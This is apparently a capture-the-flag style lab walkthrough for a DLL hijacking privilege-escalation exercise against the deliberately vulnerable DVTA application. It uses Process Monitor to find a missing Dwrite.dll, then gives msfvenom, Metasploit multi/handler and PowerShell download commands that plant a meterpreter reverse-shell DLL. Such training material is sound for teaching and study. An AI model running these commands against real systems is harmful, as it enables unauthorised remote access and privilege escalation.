
 

 



 

 
Important Note: This document illustrates all the important steps required to complete this lab.              
This is by no means a comprehensive step-by-step solution for this exercise. This is only               
provided as a reference to various commands needed to complete this exercise and for your               
further research on this topic. Also, note that the IP addresses and domain names might be                
different in your lab.  

Application Analysis 
 
Step 1: ​Switch to ​Target Machine​ for analysis of the vulnerable application. 
 

 
 

Name DLL Hijacking: DVTA 

URL https://attackdefense.com/challengedetails?cid=2104  

Type Windows Security: Privilege Escalation: DLL Hijacking 

https://attackdefense.com/challengedetails?cid=2104


 
A vulnerable application ​DVTA ​and ​process monitor ​application for analysis provided to you. 
 
Note: ​We are using this machine only for analysis purposes.  
 
Step 2:​ Run process monitoring application. 
 
Process Monitor Tool: 
 
Process Monitor 
 
“​Process Monitor is a free tool from Windows Sysinternals, part of the Microsoft TechNet 
website. The tool monitors and displays in real-time all file system activity on a Microsoft 
Windows or Unix-like operating system. It combines two older tools, FileMon and RegMon and 
is used in system administration, computer forensics, and application debugging.​” 
 
Source: ​https://en.wikipedia.org/wiki/Process_Monitor  
 

 
 
We can notice, all the running processes are captured by the tool. We could also monitor the 
running process behavior.  

https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
https://en.wikipedia.org/wiki/Process_Monitor


 
If we run a program then the tool would show all the operations performed by that program. i.e 
Registry, DLL, ReadFile, CloseFile, CreateFile, Queries, etc, therefore this becomes quite easy 
to detect a missing DLL and application behavior. An attacker can plant a malicious DLL to a 
missed location if he has the writing permission. 
 
Step 3: ​Applying a “​CreateFile​” filter to see all the missing files. 
 
Note: ​Randomly pick any “​CreateFile​” operation and apply the filter as shown below. 
 
Right-click on “​CreateFile​” → ​Include ‘CreateFile​’ 
 

 
 
 
 
 
 
 
 



 

 
 
We can notice in the “​Result​” column that there are multiple results shown for each operation 
along with the path location. This makes the job easier to identify the missing file. It is showing 
“​NAME NOT FOUND​” means the path which is mentioned in the same row is missing. 
 
In this challenge, we are going to identify the missing DLLs of the provided application and 
generate a malicious DLL then putting it in right place causes a vulnerable application to load 
that malicious DLL.  
 
Step 4:​ We need to make sure that where we are putting a malicious DLL we have the privilege 
to write in that folder. Verifying if we have the permission to write the DLL to the DVTA directory. 
 
Command: ​Get-ACL 'C:\Users\Administrator\Desktop\dvta\bin\Release' | Format-List 
 
 
 
 



 

 
 
Note: ​Restart the process monitoring application before running the vulnerable application. 
 
Step 4: ​Running DVTA application. 
 
Application: ​C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 

The vulnerable application is running. Filter the running process i.e DVTA.exe  
 
Press: ​CTRL + L for process filter. 
 

 
 
 
 
 
 
 



 

 
 
We can notice, that we have filtered the application.  
 
Uncheck “​Show Registry Activity​” & “​Show Network Activity​” 
 
 

 
 
Apply the filter “​CreateFile​” operation. Right-click on “​CreateFile​” → ​Include ‘CreateFile​’ 
 
 
 
 
 
 
 
 



 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 
Now, apply the filter for “​Result​” to “​NAME NOT FOUND​”. 
 
Right-click on “​NAME NOT FOUND​” → ​Include ‘NAME NOT FOUND​’ 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 

 
 
We can observe that we can only see the result based on “​Name Not Found​”. Now to target the 
DVTA.exe​ program search for a missing DLL. 
 
Filtering the Application path. 
 
Press: ​CTRL + L 
 
Path: ​C:\Users\Administrator\Desktop\dvta\bin\Release\ 
 
 
 
 



 

 
 
We can observe that ​Dwrite.dll​ is missing. 
 
Missing DLL: ​C:\Users\Administrator\Desktop\dvta\bin\Release\Dwrite.dll 
 

 
 
Now, we could take advantage of this by planting a malicious ​Dwrite.dll​ to the 
“​C:\Users\Administrator\Desktop\dvta\bin\Release​” folder.  
 
 
 
 



Exploiting Application 
 
Note: ​There would be more than one missing DLL’s, not all would work. It is dependent on the 
application behavior. 
 
 
Switch to the Kali Machine 
 
Step 1: ​We have the information that Dwrite.dll is missing. We could generate a malicious DLL 
using the Metasploit framework to exploit the application. 
 
Checking the IP address. 
 
Command: ​ifconfig eth1 
 

 
 
Step 2: ​Generating malicious DLL 
 
Command: ​msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.2 LPORT=4444 -f 
dll > Dwrite.dll 
file Dwrite.dll 
 
 
 
 
 
 
 



 

 
 
Step 3: ​Start Python Simple HTTP server to serve the malicious DLL file. 
 
Command:​ python -m SimpleHTTPServer 80 
 

 
 

Also, we need to start Metasploit multi handler for a meterpreter session. 
 
Step 4: ​Running Multi handler. 
 
Commands:  
msfconsole -q 
use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST 10.10.0.2 
set LPORT 4444 
exploit 
 
 
 
 
 
 
 
 
 



 

 
 

Switch to the Attacker Machine (student) 
 
Step 1: ​See if we could access the DVTA application from the attacker machine. 
 
Path: ​C:\Users\Administrator\Desktop\dvta\bin\Release 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 
The Binary is located in ​bin\Release\DVTA.exe 
 
Step 2:​ We can access the application. Download the malicious DLL from the kali machine and 
place it in the DVTA directory. 
 
Command:​ iwr -UseBasicParsing -Uri http://10.10.0.2/Dwrite.dll -OutFile .\Dwrite.dll 
 
 
 
 
 



 

 
 
We have full control of this directory. Copy and paste the Dwrite.dll file in the DVTA folder.  
 

 
Now, when a high privileged user runs the DVTA.exe we can expect a meterpreter session on 
the Kali machine. 
 
Switch to Target Machine 
 
Running DVTA.exe 
 
 
 
 
 
 
 
 
 
 



 

 
We won’t receive any output. But, when we ​switch back to the kali machine ​there is an active 
meterpreter session.  
 
Commands: 
sysinfo 
getuid 
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